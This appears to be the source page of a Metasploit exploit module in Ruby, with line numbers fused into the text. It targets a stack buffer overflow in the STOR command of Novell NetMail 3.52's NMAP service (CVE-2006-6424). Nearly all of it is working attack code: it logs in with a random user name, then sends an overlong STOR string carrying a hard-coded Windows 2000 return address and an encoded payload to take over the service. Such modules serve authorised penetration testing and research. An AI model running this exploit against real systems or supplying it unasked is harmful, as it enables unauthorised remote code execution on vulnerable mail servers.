Path: blob/master/modules/exploits/windows/novell/nmap_stor.rb
21633 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Novell NetMail NMAP STOR Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR17verb. By sending an overly long string, an attacker can overwrite the18buffer and control program execution.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2006-6424' ],24[ 'OSVDB', '31363' ],25[ 'BID', '21725' ],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Payload' => {32'Space' => 500,33'BadChars' => "\x00\x0a\x0d\x20",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38['Windows 2000 Pro SP4 English', { 'Ret' => 0x7cdc97fb }],39],40'DefaultTarget' => 0,41'DisclosureDate' => '2006-12-23',42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options([Opt::RPORT(689)])51end5253def exploit54connect55sock.get_once5657auth = "USER " + rand_text_english(10)58sock.put(auth + "\r\n")5960res = sock.get_once6162sploit = "STOR " + rand_text_english(253) + [ target.ret ].pack('V')63sploit << " " + rand_text_english(20) + "\r\n" + payload.encoded6465if (res =~ /1000/)66print_status("Trying target #{target.name}...")67sock.put(sploit)68else69print_status("Not in Trusted Hosts.")70end7172handler73disconnect74end75end767778